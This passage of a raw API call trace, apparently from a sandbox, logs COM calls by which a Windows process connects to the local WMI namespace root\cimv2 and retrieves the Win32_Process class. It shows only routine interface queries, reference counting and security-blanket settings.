[5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0106.491] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b1b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x657170) returned 0x0 [0106.491] WbemDefPath:IUnknown:Release (This=0x1b48b1b0) returned 0x0 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x657170) returned 0x0 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0106.491] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0106.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b48b0b0) returned 0x0 [0106.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b0b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.491] WbemDefPath:IUnknown:Release (This=0x1b48b0b0) returned 0x3 [0106.491] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0106.491] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0106.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0106.492] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0106.492] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0106.492] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0106.492] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0106.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x657170) returned 0x0 [0106.492] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0106.492] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0106.492] WbemDefPath:IWbemPath:SetText (This=0x657170, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0106.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0106.492] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0106.492] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0106.492] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0106.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0106.492] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0106.492] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.493] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b48b370) returned 0x0 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b370, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0106.493] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48b370, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b48b390) returned 0x0 [0106.493] WbemLocator:IUnknown:Release (This=0x1b48b370) returned 0x0 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b48b390) returned 0x0 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0106.493] WbemLocator:IUnknown:AddRef (This=0x1b48b390) returned 0x3 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0106.493] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0106.493] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0106.494] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0106.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0106.494] WbemLocator:IUnknown:Release (This=0x1b48b390) returned 0x2 [0106.494] WbemLocator:IUnknown:Release (This=0x1b48b390) returned 0x1 [0106.494] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0106.494] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0106.494] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b390, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b48b390) returned 0x0 [0106.494] WbemLocator:IUnknown:AddRef (This=0x1b48b390) returned 0x3 [0106.494] WbemLocator:IUnknown:Release (This=0x1b48b390) returned 0x2 [0106.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0106.494] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0106.494] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0106.494] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b48b0d0) returned 0x0 [0106.494] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48b0d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4b3ce0) returned 0x0 [0106.894] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3ce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b483e20) returned 0x0 [0106.894] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b483e20, pProxy=0x1b4b3ce0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0106.894] WbemLocator:IUnknown:Release (This=0x1b483e20) returned 0x1 [0106.894] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3ce0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b483e68) returned 0x0 [0106.894] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3ce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b483e20) returned 0x0 [0106.894] WbemLocator:IClientSecurity:SetBlanket (This=0x1b483e20, pProxy=0x1b4b3ce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0106.894] WbemLocator:IUnknown:Release (This=0x1b483e20) returned 0x2 [0106.894] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x1 [0106.894] CoTaskMemFree (pv=0x1b460d70) [0106.895] WbemLocator:IUnknown:Release (This=0x1b48b0d0) returned 0x0 [0106.895] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3ce0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b483e68) returned 0x0 [0106.895] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0106.897] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0106.902] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b3ce0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0106.933] WbemLocator:IUnknown:AddRef (This=0x1b483e68) returned 0x3 [0106.933] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0106.933] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0106.933] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b483d48) returned 0x0 [0106.933] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b483d48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.933] WbemLocator:IUnknown:Release (This=0x1b483d48) returned 0x3 [0106.934] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0106.934] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0106.934] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b483e30) returned 0x0 [0106.934] WbemLocator:IRpcOptions:Query (in: This=0x1b483e30, pPrx=0x1b483e68, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0106.934] WbemLocator:IUnknown:Release (This=0x1b483e30) returned 0x3 [0106.934] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x2 [0106.934] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0106.934] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0106.934] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4b3ce0) returned 0x0 [0106.934] WbemLocator:IUnknown:AddRef (This=0x1b4b3ce0) returned 0x4 [0106.934] WbemLocator:IUnknown:Release (This=0x1b4b3ce0) returned 0x3 [0106.935] WbemLocator:IUnknown:Release (This=0x1b4b3ce0) returned 0x2 [0106.935] SysStringLen (param_1=0x0) returned 0x0 [0106.935] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0106.935] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0106.935] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0106.935] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0106.935] WbemLocator:IUnknown:AddRef (This=0x1b483e68) returned 0x3 [0106.935] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b483e68) returned 0x0 [0106.935] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x3 [0106.935] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x2 [0106.935] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0106.935] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0106.935] IWbemServices:GetObject (in: This=0x1b4b3ce0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b484240, ppCallResult=0x0) returned 0x0 [0106.941] IWbemClassObject:Get (in: This=0x1b484240, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0106.942] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0106.942] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0106.942] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0106.942] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0106.942] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0106.942] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.943] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b48b0d0) returned 0x0 [0106.943] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b0d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0106.943] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b0d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x655370) returned 0x0 [0106.943] WbemDefPath:IUnknown:Release (This=0x1b48b0d0) returned 0x0 [0106.943] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x655370) returned 0x0 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0106.944] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: 